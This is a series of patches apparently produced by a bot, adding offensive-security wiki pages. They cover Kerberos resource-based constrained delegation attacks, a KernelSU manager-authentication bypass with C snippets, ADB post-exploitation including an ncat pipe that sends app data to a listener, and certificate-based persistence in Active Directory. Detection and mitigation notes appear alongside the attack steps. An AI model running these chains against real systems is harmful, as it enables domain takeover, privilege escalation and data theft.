From e90eb6559fcaba7d69cdad481d5899c243e85821 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Thu, 14 Aug 2025 01:47:02 +0000 Subject: [PATCH 01/12] Add content from: Research Update: Enhanced src/windows-hardening/active-direc... --- .../resource-based-constrained-delegation.md | 98 ++++++++++++++++++- 1 file changed, 93 insertions(+), 5 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md index 743543dfd..af1a0a606 100644 --- a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md @@ -78,7 +78,7 @@ msds-allowedtoactonbehalfofotheridentity {1, 0, 4, 128...} ``` -### Performing a complete S4U attack +### Performing a complete S4U attack (Windows/Rubeus) First of all, we created the new Computer object with the password `123456`, so we need the hash of that password: @@ -102,6 +102,32 @@ rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:admin > [!CAUTION] > Note that users have an attribute called "**Cannot be delegated**". If a user has this attribute to True, you won't be able to impersonate him. This property can be seen inside bloodhound. +### Linux tooling: end-to-end RBCD with Impacket (2024+) + +If you operate from Linux, you can perform the full RBCD chain using the official Impacket tools: + +```bash +# 1) Create attacker-controlled machine account (respects MachineAccountQuota) +impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ss123' -dc-ip 192.168.56.10 'domain.local/jdoe:Summer2025!' + +# 2) Grant RBCD on the target computer to FAKE01$ +# -action write appends/sets the security descriptor for msDS-AllowedToActOnBehalfOfOtherIdentity +impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -dc-ip 192.168.56.10 -action write 'domain.local/jdoe:Summer2025!' + +# 3) Request an impersonation ticket (S4U2Self+S4U2Proxy) for a privileged user against the victim service +impacket-getST -spn cifs/victim.domain.local -impersonate Administrator -dc-ip 192.168.56.10 'domain.local/FAKE01$:P@ss123' + +# 4) Use the ticket (ccache) against the target service +export KRB5CCNAME=$(pwd)/Administrator.ccache +# Example: dump local secrets via Kerberos (no NTLM) +impacket-secretsdump -k -no-pass Administrator@victim.domain.local +``` + +Notes +- If LDAP signing/LDAPS is enforced, use `impacket-rbcd -use-ldaps ...`. +- Prefer AES keys; many modern domains restrict RC4. Impacket and Rubeus both support AES-only flows. +- Impacket can rewrite the `sname` ("AnySPN") for some tools, but obtain the correct SPN whenever possible (e.g., CIFS/LDAP/HTTP/HOST/MSSQLSvc). + ### Accessing The last command line will perform the **complete S4U attack and will inject the TGS** from Administrator to the victim host in **memory**.\ @@ -113,7 +139,55 @@ ls \\victim.domain.local\C$ ### Abuse different service tickets -Lear about the [**available service tickets here**](silver-ticket.md#available-services). +Learn about the [**available service tickets here**](silver-ticket.md#available-services). + +## Enumerating, auditing and cleanup + +### Enumerate computers with RBCD configured + +PowerShell (decoding the SD to resolve SIDs): + +```powershell +# List all computers with msDS-AllowedToActOnBehalfOfOtherIdentity set and resolve principals +Import-Module ActiveDirectory +Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | + Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" } | + ForEach-Object { + $raw = $_."msDS-AllowedToActOnBehalfOfOtherIdentity" + $sd = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $raw, 0 + $sd.DiscretionaryAcl | ForEach-Object { + $sid = $_.SecurityIdentifier + try { $name = $sid.Translate([System.Security.Principal.NTAccount]) } catch { $name = $sid.Value } + [PSCustomObject]@{ Computer=$_.ObjectDN; Principal=$name; SID=$sid.Value; Rights=$_.AccessMask } + } + } +``` + +Impacket (read or flush with one command): + +```bash +# Read who can delegate to VICTIM +impacket-rbcd -delegate-to 'VICTIM$' -action read 'domain.local/jdoe:Summer2025!' +``` + +### Cleanup / reset RBCD + +- PowerShell (clear the attribute): + +```powershell +Set-ADComputer $targetComputer -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity' +# Or using the friendly property +Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount $null +``` + +- Impacket: + +```bash +# Remove a specific principal from the SD +impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -action remove 'domain.local/jdoe:Summer2025!' +# Or flush the whole list +impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025!' +``` ## Kerberos Errors @@ -124,6 +198,21 @@ Lear about the [**available service tickets here**](silver-ticket.md#available-s - The user you are trying to impersonate cannot access the desired service (because you cannot impersonate it or because it doesn't have enough privileges) - The asked service doesn't exist (if you ask for a ticket for winrm but winrm isn't running) - The fakecomputer created has lost it's privileges over the vulnerable server and you need to given them back. + - You are abusing classic KCD; remember RBCD works with non-forwardable S4U2Self tickets, while KCD requires forwardable. + +## Notes, relays and alternatives + +- You can also write the RBCD SD over AD Web Services (ADWS) if LDAP is filtered. See: + +{{#ref}} +adws-enumeration.md +{{#endref}} + +- Kerberos relay chains frequently end in RBCD to achieve local SYSTEM in one step. See practical end-to-end examples: + +{{#ref}} +../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +{{#endref}} ## References @@ -132,9 +221,8 @@ Lear about the [**available service tickets here**](silver-ticket.md#available-s - [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object) - [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/) - [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61) +- Impacket rbcd.py (official): https://github.com/fortra/impacket/blob/master/examples/rbcd.py +- Quick Linux cheatsheet with recent syntax: https://tldrbins.github.io/rbcd/ {{#include ../../banners/hacktricks-training.md}} - - - From 22ed9a361124d6125327b825b57232197a481355 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Thu, 14 Aug 2025 06:36:11 +0000 Subject: [PATCH 02/12] Add content from: The Rooting of All Evil: Security Holes That Could Compromis... --- src/SUMMARY.md | 1 + .../privilege-escalation/README.md | 9 + ...eworks-manager-auth-bypass-syscall-hook.md | 193 ++++++++++++++++++ .../android-app-pentesting/README.md | 4 + 4 files changed, 207 insertions(+) create mode 100644 src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 0c1f23d74..fa7568927 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -96,6 +96,7 @@ - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md) - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md) + - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md) - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md) - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md) - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 35ebbfd16..e2b207ad1 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -1658,5 +1658,14 @@ cisco-vmanage.md - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) + +## Android rooting frameworks: manager-channel abuse + +Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: + +{{#ref}} +android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +{{#endref}} + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md b/src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md new file mode 100644 index 000000000..28324df00 --- /dev/null +++ b/src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md @@ -0,0 +1,193 @@ +# Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse + +{{#include ../../banners/hacktricks-training.md}} + +Rooting frameworks like KernelSU, APatch, SKRoot and Magisk frequently patch the Linux/Android kernel and expose privileged functionality to an unprivileged userspace "manager" app via a hooked syscall. If the manager-authentication step is flawed, any local app can reach this channel and escalate privileges on already-rooted devices. + +This page abstracts the techniques and pitfalls uncovered in public research (notably Zimperium’s analysis of KernelSU v0.5.7) to help both red and blue teams understand attack surfaces, exploitation primitives, and robust mitigations. + +--- +## Architecture pattern: syscall-hooked manager channel + +- Kernel module/patch hooks a syscall (commonly prctl) to receive "commands" from userspace. +- Protocol typically is: magic_value, command_id, arg_ptr/len ... +- A userspace manager app authenticates first (e.g., CMD_BECOME_MANAGER). Once the kernel marks the caller as a trusted manager, privileged commands are accepted: + - Grant root to caller (e.g., CMD_GRANT_ROOT) + - Manage allowlists/deny-lists for su + - Adjust SELinux policy (e.g., CMD_SET_SEPOLICY) + - Query version/configuration +- Because any app can invoke syscalls, the correctness of the manager authentication is critical. + +Example (KernelSU design): +- Hooked syscall: prctl +- Magic value to divert to KernelSU handler: 0xDEADBEEF +- Commands include: CMD_BECOME_MANAGER, CMD_GET_VERSION, CMD_ALLOW_SU, CMD_SET_SEPOLICY, CMD_GRANT_ROOT, etc. + +--- +## KernelSU v0.5.7 authentication flow (as implemented) + +When userspace calls prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...), KernelSU verifies: + +1) Path prefix check +- The provided path must start with an expected prefix for the caller UID, e.g. /data/data/ or /data/user//. + - Reference: core_hook.c (v0.5.7) path prefix logic. + +2) Ownership check +- The path must be owned by the caller UID. + - Reference: core_hook.c (v0.5.7) ownership logic. + +3) APK signature check via FD table scan +- Iterate the calling process’ open file descriptors (FDs). +- Pick the first file whose path matches /data/app/*/base.apk. +- Parse APK v2 signature and verify against the official manager certificate. + - References: manager.c (iterating FDs), apk_sign.c (APK v2 verification). + +If all checks pass, the kernel caches the manager’s UID temporarily and accepts privileged commands from that UID until reset. + +--- +## Vulnerability class: trusting “the first matching APK” from FD iteration + +If the signature check binds to "the first matching /data/app/*/base.apk" found in the process FD table, it is not actually verifying the caller’s own package. An attacker can pre-position a legitimately signed APK (the real manager’s) so that it appears earlier in the FD list than their own base.apk. + +This trust-by-indirection lets an unprivileged app impersonate the manager without owning the manager’s signing key. + +Key properties exploited: +- The FD scan does not bind to the caller’s package identity; it only pattern-matches path strings. +- open() returns the lowest available FD. By closing lower-numbered FDs first, an attacker can control ordering. +- The filter only checks that the path matches /data/app/*/base.apk – not that it corresponds to the installed package of the caller. + +--- +## Attack preconditions + +- The device is already rooted with a vulnerable rooting framework (e.g., KernelSU v0.5.7). +- The attacker can run arbitrary unprivileged code locally (Android app process). +- The real manager has not yet authenticated (e.g., right after a reboot). Some frameworks cache the manager UID after success; you must win the race. + +--- +## Exploitation outline (KernelSU v0.5.7) + +High-level steps: +1) Build a valid path to your own app data directory to satisfy prefix and ownership checks. +2) Ensure a genuine KernelSU Manager base.apk is opened on a lower-numbered FD than your own base.apk. +3) Invoke prctl(0xDEADBEEF, CMD_BECOME_MANAGER, , ...) to pass the checks. +4) Issue privileged commands like CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY to persist elevation. + +Practical notes on step 2 (FD ordering): +- Identify your process’ FD for your own /data/app/*/base.apk by walking /proc/self/fd symlinks. +- Close a low FD (e.g., stdin, fd 0) and open the legitimate manager APK first so it occupies fd 0 (or any index lower than your own base.apk fd). +- Bundle the legitimate manager APK with your app so its path satisfies the kernel’s naive filter. For example, place it under a subpath matching /data/app/*/base.apk. + +Example code snippets (Android/Linux, illustrative only): + +Enumerate open FDs to locate base.apk entries: +```c +#include +#include +#include +#include + +int find_first_baseapk_fd(char out_path[PATH_MAX]) { + DIR *d = opendir("/proc/self/fd"); + if (!d) return -1; + struct dirent *e; char link[PATH_MAX]; char p[PATH_MAX]; + int best_fd = -1; + while ((e = readdir(d))) { + if (e->d_name[0] == '.') continue; + int fd = atoi(e->d_name); + snprintf(link, sizeof(link), "/proc/self/fd/%d", fd); + ssize_t n = readlink(link, p, sizeof(p)-1); + if (n <= 0) continue; p[n] = '\0'; + if (strstr(p, "/data/app/") && strstr(p, "/base.apk")) { + if (best_fd < 0 || fd < best_fd) { + best_fd = fd; strncpy(out_path, p, PATH_MAX); + } + } + } + closedir(d); + return best_fd; // First (lowest) matching fd +} +``` + +Force a lower-numbered FD to point at the legitimate manager APK: +```c +#include +#include + +void preopen_legit_manager_lowfd(const char *legit_apk_path) { + // Reuse stdin (fd 0) if possible so the next open() returns 0 + close(0); + int fd = open(legit_apk_path, O_RDONLY); + (void)fd; // fd should now be 0 if available +} +``` + +Manager authentication via prctl hook: +```c +#include +#include + +#define KSU_MAGIC 0xDEADBEEF +#define CMD_BECOME_MANAGER 0x100 // Placeholder; command IDs are framework-specific + +static inline long ksu_call(unsigned long cmd, unsigned long arg2, + unsigned long arg3, unsigned long arg4) { + return prctl(KSU_MAGIC, cmd, arg2, arg3, arg4); +} + +int become_manager(const char *my_data_dir) { + long result = -1; + // arg2: command, arg3: pointer to data path (userspace->kernel copy), arg4: optional result ptr + result = ksu_call(CMD_BECOME_MANAGER, (unsigned long)my_data_dir, 0, 0); + return (int)result; +} +``` + +After success, privileged commands (examples): +- CMD_GRANT_ROOT: promote current process to root +- CMD_ALLOW_SU: add your package/UID to allowlist for persistent su +- CMD_SET_SEPOLICY: adjust SELinux policy as supported by framework + +Race/persistence tip: +- Register a BOOT_COMPLETED receiver in AndroidManifest (RECEIVE_BOOT_COMPLETED) to start early after reboot and attempt authentication before the real manager. + +--- +## Detection and mitigation guidance + +For framework developers: +- Bind authentication to the caller’s package/UID, not to arbitrary FDs: + - Resolve the caller’s package from its UID and verify against the installed package’s signature (via PackageManager) rather than scanning FDs. + - If kernel-only, use stable caller identity (task creds) and validate on a stable source of truth managed by init/userspace helper, not process FDs. +- Avoid path-prefix checks as identity; they are trivially satisfiable by the caller. +- Use nonce-based challenge–response over the channel and clear any cached manager identity at boot or on key events. +- Consider binder-based authenticated IPC instead of overloading generic syscalls when feasible. + +For defenders/blue team: +- Detect presence of rooting frameworks and manager processes; monitor for prctl calls with suspicious magic constants (e.g., 0xDEADBEEF) if you have kernel telemetry. +- On managed fleets, block or alert on boot receivers from untrusted packages that rapidly attempt privileged manager commands post-boot. +- Ensure devices are updated to patched framework versions; invalidate cached manager IDs on update. + +Limitations of the attack: +- Only affects devices already rooted with a vulnerable framework. +- Typically requires a reboot/race window before the legitimate manager authenticates (some frameworks cache manager UID until reset). + +--- +## Related notes across frameworks + +- Password-based auth (e.g., historical APatch/SKRoot builds) can be weak if passwords are guessable/bruteforceable or validations are buggy. +- Package/signature-based auth (e.g., KernelSU) is stronger in principle but must bind to the actual caller, not indirect artefacts like FD scans. +- Magisk: CVE-2024-48336 (MagiskEoP) showed that even mature ecosystems can be susceptible to identity spoofing leading to code execution with root inside manager context. + +--- +## References + +- [Zimperium – The Rooting of All Evil: Security Holes That Could Compromise Your Mobile Device](https://zimperium.com/blog/the-rooting-of-all-evil-security-holes-that-could-compromise-your-mobile-device) +- [KernelSU v0.5.7 – core_hook.c path checks (L193, L201)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/core_hook.c#L193) +- [KernelSU v0.5.7 – manager.c FD iteration/signature check (L43+)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/manager.c#L43) +- [KernelSU – apk_sign.c APK v2 verification (main)](https://github.com/tiann/KernelSU/blob/main/kernel/apk_sign.c#L319) +- [KernelSU project](https://kernelsu.org/) +- [APatch](https://github.com/bmax121/APatch) +- [SKRoot](https://github.com/abcz316/SKRoot-linuxKernelRoot) +- [MagiskEoP – CVE-2024-48336](https://github.com/canyie/MagiskEoP) +- [KSU PoC demo video (Wistia)](https://zimperium-1.wistia.com/medias/ep1dg4t2qg?videoFoam=true) + +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index bb1d7bf0b..3188664e1 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -58,6 +58,10 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ../ios-pentesting/air-keyboard-remote-input-injection.md {{#endref}} +{{#ref}} +../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +{{#endref}} + ## Static Analysis First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\ From e8e08e011287987c431285304bfa28c15b817790 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Thu, 14 Aug 2025 08:32:48 +0000 Subject: [PATCH 03/12] Add content from: Research Update: Enhanced src/network-services-pentesting/55... --- .../5555-android-debug-bridge.md | 138 +++++++++++++++--- 1 file changed, 120 insertions(+), 18 deletions(-) diff --git a/src/network-services-pentesting/5555-android-debug-bridge.md b/src/network-services-pentesting/5555-android-debug-bridge.md index d9ec8d475..0f385fd69 100644 --- a/src/network-services-pentesting/5555-android-debug-bridge.md +++ b/src/network-services-pentesting/5555-android-debug-bridge.md @@ -6,9 +6,12 @@ From [the docs](https://developer.android.com/studio/command-line/adb): -**Android Debug Bridge** (adb) is a versatile command-line tool that lets you communicate with a device. The adb command facilitates a variety of device actions, such as i**nstalling and debugging apps**, and it provides **access to a Unix shell** that you can use to run a variety of commands on a device. +Android Debug Bridge (adb) is a command-line tool to communicate with Android-based devices and emulators. Typical actions include installing packages, debugging, and getting an interactive Unix shell on the device. -**Default port**: 5555. +- Historical default TCP port: 5555 (classic "adb tcpip" mode). +- Modern Wireless debugging (Android 11+) uses TLS pairing and mDNS service discovery. The connect port is dynamic and discovered via mDNS; it may not be 5555. Pairing is done with adb pair host:port followed by adb connect. See the notes below for offensive implications. + +Example nmap fingerprint: ``` PORT STATE SERVICE VERSION @@ -17,38 +20,137 @@ PORT STATE SERVICE VERSION ## Connect -If find the ADB service running in a port of a device and you can connect to it, **you can get a shell inside the system:** +If you find ADB exposed and reachable, try connecting and enumerating quickly: ```bash -adb connect 10.10.10.10 -adb root # Try to escalate to root -adb shell +adb connect [:] # Default is 5555 for classic mode +adb devices -l # Confirm it shows as "device" (not unauthorized/offline) +adb shell # Get an interactive shell (uid usually shell) +whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port +adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT ``` -For more ADB commands check the following page: +- If the device enforces ADB authentication (ro.adb.secure=1), you’ll need to be pre-authorized (USB RSA auth) or use Android 11+ Wireless debugging pairing (which requires a one-time code displayed on the device). +- Some vendor images, engineering/userdebug builds, emulators, TVs, STBs and development kits expose adbd without auth or with adbd running as root. In those cases, you’ll typically land directly in a shell or root shell. + +For a general ADB command reference, see: {{#ref}} ../mobile-pentesting/android-app-pentesting/adb-commands.md {{#endref}} -### Dump App data +## Quick Post-Exploitation -In order to completely download the data of an application you can: +Once you have shell, validate privileges and SELinux context: ```bash -# From a root console -chmod 777 /data/data/com.package -cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data. -adb pull "/sdcard/com.package" +id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint ``` -You can use this trick to **retrieve sensitive information like chrome passwords**. For more info about this check the information a references provided [**here**](https://github.com/carlospolop/hacktricks/issues/274). +### Enumerate and capture data + +- List third-party apps and paths: + ```bash + pm list packages -3 + pm path + ``` +- If you have root (adb root or su works), you can access /data directly. If not, prefer run-as for debuggable apps: + ```bash + # Without root, for a debuggable app + run-as sh -c 'cd /data/data/ && tar cf - .' | tar xf - -C ./loot/ + + # With root + cp -a /data/data/ /sdcard/ + exit + adb pull "/sdcard/" + ``` +- Useful system artifacts (root required): + - /data/system/users/0/accounts.db and related AccountManager data + - /data/misc/wifi/ (network configs/keys on older versions) + - App-specific SQLite DBs and shared_prefs under /data/data/ + +You can use this to retrieve sensitive info (e.g., app secrets). For notes about Chrome data considerations, see the issue referenced [here](https://github.com/carlospolop/hacktricks/issues/274). + +### Code execution and payload delivery + +- Install and auto-grant runtime permissions: + ```bash + adb install -r -g payload.apk # -g grants all runtime perms declared in manifest + adb shell monkey -p -c android.intent.category.LAUNCHER 1 + ``` +- Start activities/services/broadcasts directly: + ```bash + adb shell am start -n / + adb shell am startservice -n / + adb shell am broadcast -a + ``` + +### Port forwarding and pivoting + +Even without root, adb can forward local ports to device ports and vice versa. This is useful to access services bound locally on the device or to expose attacker services to the device. + +- Forward host->device (access a device-local service from your host): + ```bash + adb forward tcp:2222 tcp:22 # If device runs SSH (e.g., Termux/Dropbear) + adb forward tcp:8081 tcp:8080 # Expose app’s local debug server + ``` +- Reverse device->host (let the device reach a service on your host): + ```bash + adb reverse tcp:1080 tcp:1080 # Device apps can now reach host:1080 as 127.0.0.1:1080 + ``` +- File exfiltration over sockets (no sdcard writes): + ```bash + # On host: listen + ncat -lvp 9000 > dump.tar + # On device: send directory as tar (root or run-as as applicable) + adb shell "tar cf - /data/data/" | ncat 9000 + ``` + +## Wireless Debugging (Android 11+) + +Modern Android implements TLS-protected wireless debugging with device-side pairing and mDNS discovery: + +```bash +# On the device: Developer options -> Wireless debugging -> Pair device with pairing code +# On attacker host (same L2 network, mDNS allowed): +adb pair : # Enter the 6-digit code shown on device +adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services +adb connect : +``` + +Notes +- Ports are dynamic; don’t assume 5555. mDNS service names look like: + - _adb-tls-pairing._tcp (pairing) + - _adb-tls-connect._tcp (paired connect) + - _adb._tcp (legacy/plain) +- If mDNS is filtered, classic USB-assisted enabling may still work on some builds: `adb tcpip 5555` then `adb connect :5555` (until reboot). + +Offensive implications: if you can interact with the device UI (e.g., physical access or mobile MDM misconfig) to enable Wireless debugging and view the pairing code, you can establish a long-lived paired ADB channel without a cable. Some OEMs expose ADB over TCP in engineering/dev images without pairing—always check. + +## Hardening / Detection + +Defenders should assume any reachable adbd (TCP) is critical risk. + +- Disable ADB and Wireless debugging when not needed. Revoke USB debugging authorizations in Developer options. +- Ensure network policy blocks inbound TCP/5555 and mDNS-based ADB discovery on untrusted segments. +- On devices under your control: + ```bash + settings put global adb_enabled 0 + setprop service.adb.tcp.port -1 # disable TCP listening (or use: adb usb) + stop adbd; start adbd # restart daemon + ``` +- Monitor for mDNS records `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` on corporate networks and alerts for unexpected 5555 listeners. +- Inventory for insecure builds: `getprop ro.debuggable`, `ro.build.type`, and `ro.adb.secure`. ## Shodan -- `android debug bridge` +- android debug bridge +- port:5555 product:"Android Debug Bridge" + + +## References + +- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb +- AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md {{#include ../banners/hacktricks-training.md}} - - - From c564c524bac0f2c663aa929a2640ea3652a40c70 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Fri, 15 Aug 2025 01:46:17 +0000 Subject: [PATCH 04/12] Add content from: Research Update: Enhanced src/windows-hardening/active-direc... --- .../ad-certificates/account-persistence.md | 144 +++++++++++++----- 1 file changed, 109 insertions(+), 35 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md index 5a545a637..55dcee68a 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md @@ -2,71 +2,145 @@ {{#include ../../../banners/hacktricks-training.md}} -**This is a small summary of the machine persistence chapters of the awesome research from [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)** +**This is a small summary of the account persistence chapters of the awesome research from [https://specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://specterops.io/assets/resources/Certified_Pre-Owned.pdf)** -## **Understanding Active User Credential Theft with Certificates – PERSIST1** +## Understanding Active User Credential Theft with Certificates – PERSIST1 -In a scenario where a certificate that allows domain authentication can be requested by a user, an attacker has the opportunity to **request** and **steal** this certificate to **maintain persistence** on a network. By default, the `User` template in Active Directory allows such requests, though it may sometimes be disabled. +In a scenario where a certificate that allows domain authentication can be requested by a user, an attacker has the opportunity to request and steal this certificate to maintain persistence on a network. By default, the `User` template in Active Directory allows such requests, though it may sometimes be disabled. -Using a tool named [**Certify**](https://github.com/GhostPack/Certify), one can search for valid certificates that enable persistent access: +Using [Certify](https://github.com/GhostPack/Certify) or [Certipy](https://github.com/ly4k/Certipy), you can search for enabled templates that allow client authentication and then request one: ```bash +# Enumerate client-auth capable templates Certify.exe find /clientauth + +# Request a user cert from an Enterprise CA (current user context) +Certify.exe request /ca:CA-SERVER\CA-NAME /template:User + +# Using Certipy (RPC/DCOM/WebEnrollment supported). Saves a PFX by default +certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' -template 'User' -out user.pfx ``` -It's highlighted that a certificate's power lies in its ability to **authenticate as the user** it belongs to, regardless of any password changes, as long as the certificate remains **valid**. +A certificate’s power lies in its ability to authenticate as the user it belongs to, regardless of password changes, as long as the certificate remains valid. -Certificates can be requested through a graphical interface using `certmgr.msc` or through the command line with `certreq.exe`. With **Certify**, the process to request a certificate is simplified as follows: - -```bash -Certify.exe request /ca:CA-SERVER\CA-NAME /template:TEMPLATE-NAME -``` - -Upon successful request, a certificate along with its private key is generated in `.pem` format. To convert this into a `.pfx` file, which is usable on Windows systems, the following command is utilized: +You can convert PEM to PFX and use it to obtain a TGT: ```bash +# Convert PEM returned by Certify to PFX openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx + +# Use certificate for PKINIT and inject the TGT +Rubeus.exe asktgt /user:john /certificate:C:\Temp\cert.pfx /password:CertPass! /ptt + +# Or with Certipy +certipy auth -pfx user.pfx -dc-ip 10.0.0.10 ``` -The `.pfx` file can then be uploaded to a target system and used with a tool called [**Rubeus**](https://github.com/GhostPack/Rubeus) to request a Ticket Granting Ticket (TGT) for the user, extending the attacker's access for as long as the certificate is **valid** (typically one year): - -```bash -Rubeus.exe asktgt /user:harmj0y /certificate:C:\Temp\cert.pfx /password:CertPass! -``` - -An important warning is shared about how this technique, combined with another method outlined in the **THEFT5** section, allows an attacker to persistently obtain an account’s **NTLM hash** without interacting with the Local Security Authority Subsystem Service (LSASS), and from a non-elevated context, providing a stealthier method for long-term credential theft. - -## **Gaining Machine Persistence with Certificates - PERSIST2** - -Another method involves enrolling a compromised system’s machine account for a certificate, utilizing the default `Machine` template which allows such actions. If an attacker gains elevated privileges on a system, they can use the **SYSTEM** account to request certificates, providing a form of **persistence**: +> Note: Combined with other techniques (see THEFT sections), certificate-based auth allows persistent access without touching LSASS and even from non-elevated contexts. + +## Gaining Machine Persistence with Certificates - PERSIST2 + +If an attacker has elevated privileges on a host, they can enroll the compromised system’s machine account for a certificate using the default `Machine` template. Authenticating as the machine enables S4U2Self for local services and can provide durable host persistence: ```bash +# Request a machine certificate as SYSTEM Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine + +# Authenticate as the machine using the issued PFX +Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0rd! /ptt ``` -This access enables the attacker to authenticate to **Kerberos** as the machine account and utilize **S4U2Self** to obtain Kerberos service tickets for any service on the host, effectively granting the attacker persistent access to the machine. +## Extending Persistence Through Certificate Renewal - PERSIST3 -## **Extending Persistence Through Certificate Renewal - PERSIST3** +Abusing the validity and renewal periods of certificate templates lets an attacker maintain long-term access. If you possess a previously issued certificate and its private key, you can renew it before expiration to obtain a fresh, long-lived credential without leaving additional request artifacts tied to the original principal. -The final method discussed involves leveraging the **validity** and **renewal periods** of certificate templates. By **renewing** a certificate before its expiration, an attacker can maintain authentication to Active Directory without the need for additional ticket enrolments, which could leave traces on the Certificate Authority (CA) server. +```bash +# Renewal with Certipy (works with RPC/DCOM/WebEnrollment) +# Provide the existing PFX and target the same CA/template when possible +certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \ + -template 'User' -pfx user_old.pfx -renew -out user_renewed.pfx -### Certificate Renewal with Certify 2.0 +# Native Windows renewal with certreq +# (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair) +certreq -enroll -user -cert renew 